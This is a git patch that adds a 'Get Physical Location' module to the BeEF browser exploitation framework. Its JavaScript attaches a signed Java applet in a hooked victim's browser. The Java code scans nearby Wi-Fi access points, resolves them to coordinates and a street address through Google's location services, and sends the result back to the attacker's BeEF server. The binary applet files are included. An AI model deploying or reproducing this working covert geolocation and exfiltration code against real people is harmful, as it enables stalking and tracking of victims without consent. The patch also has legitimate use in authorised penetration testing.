From e7dd04977e2275a8ec946eac95f91452446320c6 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 26 Feb 2012 09:53:16 +0100 Subject: [PATCH] Added getPhysicalLocation module written by @keith55. Adjusted config.yaml description and browser support. --- modules/host/get_physical_location/command.js | 30 +++ .../host/get_physical_location/config.yaml | 26 ++ .../getGPSLocation.class | Bin 0 -> 5394 bytes .../get_physical_location/getGPSLocation.jar | Bin 0 -> 4570 bytes .../get_physical_location/getGPSLocation.java | 244 ++++++++++++++++++ modules/host/get_physical_location/module.rb | 26 ++ 6 files changed, 326 insertions(+) create mode 100755 modules/host/get_physical_location/command.js create mode 100755 modules/host/get_physical_location/config.yaml create mode 100755 modules/host/get_physical_location/getGPSLocation.class create mode 100755 modules/host/get_physical_location/getGPSLocation.jar create mode 100755 modules/host/get_physical_location/getGPSLocation.java create mode 100755 modules/host/get_physical_location/module.rb diff --git a/modules/host/get_physical_location/command.js b/modules/host/get_physical_location/command.js new file mode 100755 index 000000000..b03433e90 --- /dev/null +++ b/modules/host/get_physical_location/command.js @@ -0,0 +1,30 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var applet_archive = 'http://'+beef.net.host+ ':' + beef.net.port + '/getGPSLocation.jar'; + var applet_id = '<%= @applet_id %>'; + var applet_name = '<%= @applet_name %>'; + var output; + beef.dom.attachApplet(applet_id, 'getGPSLocation', 'getGPSLocation' , + null, applet_archive, null); + output = document.getGPSLocation.getInfo(); + if (output) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'location_info='+output.replace(/\n/g,"
")); + } + beef.dom.detachApplet('getGPSLocation'); +}); + + diff --git a/modules/host/get_physical_location/config.yaml b/modules/host/get_physical_location/config.yaml new file mode 100755 index 000000000..afbb27215 --- /dev/null +++ b/modules/host/get_physical_location/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_physical_location: + enable: true + category: "Host" + name: "Get Physical Location" + description: "This module will retrieve geolocation information based on the neighboring wireless access points using commands encapsulated within a signed Java Applet.

The details will include:


If the victim machine has a firewall that monitors outgoing connections (Zonealaram, LittleSnitch, ..), calls to Google maps will be alerted." + authors: ["keith_lee @keith55 http://milo2012.wordpress.com", "antisnatchor"] + target: + working: ["IE"] + user_notify: ["C", "S", "O", "FF"] diff --git a/modules/host/get_physical_location/getGPSLocation.class b/modules/host/get_physical_location/getGPSLocation.class new file mode 100755 index 0000000000000000000000000000000000000000..3a3756f0b35000c6a824e380cc81f34d1d93f322 GIT binary patch literal 5394 zcmb7I3wRXO75?w$F|(UVz=eQ|f=hsq2gxR=7&ioj0E#3L35aM^hRq~d*zAOvT@s-6 zf!4mP*0-oti`vwRsHh==Pqd)6T3@ZTwzeu(t(CU6we}_b@9b={fk4|YU+&yF_ndRj z^S^iYg)eqK0iYUR_;5Bly;zR8kAo?PE;+1~gQdXsK|!Yv2_#jllh1AiJqp(QumKx= z$j6s_(C}qBT&UtAA1=lva@gdK9&j|T0Q^3SMvR>coh>`}2-!E*|p7s#~?I~hv| z_#0O1>-11ekGF@K6IL|dUdz>)(Reg5OCYPH^elnwdb8CK7|{@o8%@d1Rfe@xUlk)o zX*UuJ<87wE=#t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IO)5UNA6c8B z^&|TsczQ9SA32-h?ME(O2lpF;9P*AvF2-O4#-b1b9E0)PoA*KLp{e3!@{Hg!C>HI4 zvSJ6+2KU+MKAZaC_51pe7tY=VZN)C+uLxxKpV?^X#q`&I4tyfR5(A7pJFKp6gVui0tJpzC7}4n`zJ`Hayr(X?!s~OD(IishoXSO zp%0V7N`;(`Ti$!1vAhqHXLt*}H`B{0i+bUkR$kGMV$KR0wxfj0rF|$Xdw}ush>>Cx zzn*y7GOjmZ3dbNkn8fr?hM(`_xH=i7I2q-biD{UP3d}_ajr>Gh%8#k@a6E6|C!iB2 zq6af@5o&NbxvxT)UqZFmf;!xTS=dg=oj3)%F^3oJxxDw*V?XBc!n6RN<1~DMg(3@! zgcnU>B$m*s#bPwh6cf{k5sxWkVf!jZ8Bg zrbf={WGT&(044#%SMIP3QLRg{->qHpcVm^ArVyqWSu|dSJQCx-##g({7Y{tdn zE?gpZVv~3kmx@ntg@?b=ct+uB&p2G;nS^USHMq`GkLx{+xWRKaZuCTOlP8YNp7prd zb2V=9Y{l)Ky|}}(4|maCu(})B`O@%B!?AEd(ctg7Jife42i+49Y%SyEFK4f=Lhl# zC1b+bf$TJ{X9pAsB;%F`)IgrZXJ?+rUL6z83FM^VIfq9CS0xf(FClsI3}2xy4aNDC zRRTQLhDT%mZ1BcFW;YRuLG1M4UgTjbCg46&wh^1}M=>5m86INpA0{e4g8A5i)6vh2 zKg!(iVy+)!ejkU8C$JGu5|N+6m3W#zk?kfTKSNE=Qfe&^*mL5UFJCuHp|Iq;rb*>E)Gi+E!4Yxuo^PhDDRUc8!$563);NmgCaR$isPZ)B= PNL^CATwOyaJc#`VlOk<| literal 0 HcmV?d00001 diff --git a/modules/host/get_physical_location/getGPSLocation.jar b/modules/host/get_physical_location/getGPSLocation.jar new file mode 100755 index 0000000000000000000000000000000000000000..0359873674c37bb29af6f98ef752e2d6e47f7427 GIT binary patch literal 4570 zcmaKwcQl;e*2fVwCSe#g$mk_T??Mp0ccO;Td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(d|AU={Btt z#d>kR`bia8{<{~{2p{3#ByoBn7@B-%aw<+rQC2r}Z% zQYsjHK&xE_zlLe57#e6o_(7@gIwl3rM63d^nsza$p2;&w#-KO{zb&Fo$%HLC_PDUY z9qGk4V_(yqQ&~Al-6_pSE9~)`ilG<9Oqgx@b(p2wt}rH zP|vrW4?d?8c0!@eSwn+Obi;N4E%hQzn<56q9a1}QjvhBG4jw#y9-^d_I3A;)r0!IH zs+lp+HC#zT0-7+%-cFoiRDrA?4#NSnZWyHat7%FUE%FN?>ms|rfE-M67WSYryXu;q ze8Dp#ntK50QIUc(&?66Je})K-LD@TzOtCe1EvwoJuR?lU=;zNlZCxrD7PGrDX9J5G zQ+5T&@oar~_lV3O*(oyCclGd`u{#(O@IEORm7P2Z8HuhIgI2_=cub7l@ib)e7PiqQ z+eTI2XH)TD-<=U4@wAm+mpSmaJO+4)e zi823Zz44cOYNC0ocU|?ojD}HbjPaYVeOukn8ka)9LIS`pE)TS4?jC{5LD&>uR(6Ue zmF)LRsDfCDRMT+_vvhEt_B~l9UZDW+T}MWrM!{EvVJk#$$M~YjLdr%elh$HiRKBYi zszo3B*VvlpU)_B);HrTc1M6z|OS;LL>u>QT=FT#>>>t8MpjeCI&NyH7JZ-*l}&1x(3$@g^d zfOJ1z;iIMbB!K*HF>>31Wv>k<>+xoj%p{G2iaY>?Qzbu$GtiD9V4vK?omJvZg9|E? z<40Joa|Dk-THR=HU1IjvZjYoHz~j{+U_!e5;)YL$dM1QSiHeO2Y$i=Wb2ny>+6-;; zl98SlU)-D@)Di&*tzn(uppw);kj2F<8LYw-#xb7`V*V`S+hA$}zTuF}`4#wdm z>keL=6MRRQ|f%4oUqP=U(+jifS z{iMZ>5CemR?6%#g{}lg8 zBDbLY+ZJ!2`ai@s*!-vZU$pWs6uG69-0){ + result+="\nLocation is not accurate\n"; + //System.out.println("Location is not accurate\n"); + } + else{ + if(output.indexOf("lat")>0){ + output = output.replace("\"lat\" : ",""); + output = output.replaceAll("^\\s+", ""); + geoCoordinates = output; + result+="\nLatitude: "; + result+=output; + //System.out.println("Latitude: "+output); + } + if(output.indexOf("lng")>0){ + output = output.replace("\"lng\" : ",""); + output = output.replaceAll("^\\s+", ""); + geoCoordinates += output; + result+="\nLongitude: "; + result+=output; + //System.out.println("Longitude: "+output); + } + } + + } + + + //Reverse geocoordinates to street address + String reverseGeo = "https://maps.googleapis.com/maps/geo?q="+geoCoordinates+"&output=json&sensor=true_or_false"; + + //System.out.println(reverseGeo); + + URL url1 = new URL(reverseGeo); + URLConnection urlc1 = url1.openConnection(); + urlc1.setRequestProperty("User-Agent", "Mozilla 5.0 (Windows; U; "+ "Windows NT 5.1; en-US; rv:1.8.0.11) "); + BufferedReader reader1 = new BufferedReader(new InputStreamReader(urlc1.getInputStream())); + for (String output1; (output1 = reader1.readLine()) != null;) { + if(output1.indexOf("address")>0){ + output1 = output1.replace("\"address\": ",""); + output1 = output1.replace("\",",""); + output1 = output1.replace("\"",""); + output1 = output1.replaceAll("^\\s+", ""); + result+="\nAddress is "; + result+=output1; + //System.out.println("Address is "+output1); + } + } + String mapAddress = "http://maps.google.com/maps?q="+geoCoordinates+"+%28You+are+located+here%29&iwloc=A&hl=en"; + result+="\n"+mapAddress; + //System.out.println("\n"+mapAddress); + } catch (Exception e) { + System.out.println(e.getMessage()); + } + return result; + } + + public static String getMac(){ + String result = null; + try { + Process p = Runtime.getRuntime().exec("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan"); + BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line = null; + String ssidStr = null; + String signal = null; + + String queryString = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true"; + + ArrayList ssidList = new ArrayList(); + ArrayList bssidList = new ArrayList(); + ArrayList rssiList = new ArrayList(); + + line = in.readLine(); + while ((line = in.readLine()) != null) { + line = line.replaceAll("^\\s+", ""); + + Pattern p1 = Pattern.compile("((.?)*\\s\\w*):(\\w*:\\w*:\\w*:\\w*:\\w*)\\s((.?)*)\\s(\\d+)"); + Matcher m1 = p1.matcher(line); + if(m1.find()){ + ssidStr = m1.group(1); + ssidStr = ssidStr.replaceAll(" ","%20"); + ssidList.add(ssidStr); + bssidList.add(m1.group(2)); + signal = m1.group(3); + signal = signal.replaceAll(" ",""); + rssiList.add(signal); + } + + } + int arraySize=ssidList.size(); + if(arraySize==0){ + result="\nI don't know where the target is"; + //System.out.println("I don't know where the target is"); + } + else{ + result=googleLookup(bssidList,ssidList,rssiList); + + } + } catch (Exception e) { + System.out.println(e.getMessage()); + } + return result; + } + + public static boolean isWindows() { + + String os = System.getProperty("os.name").toLowerCase(); + // windows + return (os.indexOf("win") >= 0); + + } + + public static boolean isMac() { + + String os = System.getProperty("os.name").toLowerCase(); + // Mac + return (os.indexOf("mac") >= 0); + + } + + public static boolean isLinux() { + + String os = System.getProperty("os.name").toLowerCase(); + // linux or unix + return (os.indexOf("nix") >= 0 || os.indexOf("nux") >= 0); + + } + + } diff --git a/modules/host/get_physical_location/module.rb b/modules/host/get_physical_location/module.rb new file mode 100755 index 000000000..9487c3a26 --- /dev/null +++ b/modules/host/get_physical_location/module.rb @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_physical_location < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_physical_location/getGPSLocation.jar', '/getGPSLocation', 'jar') + end + + def post_execute + save({'result' => @datastore['location_info']}) + end + +end +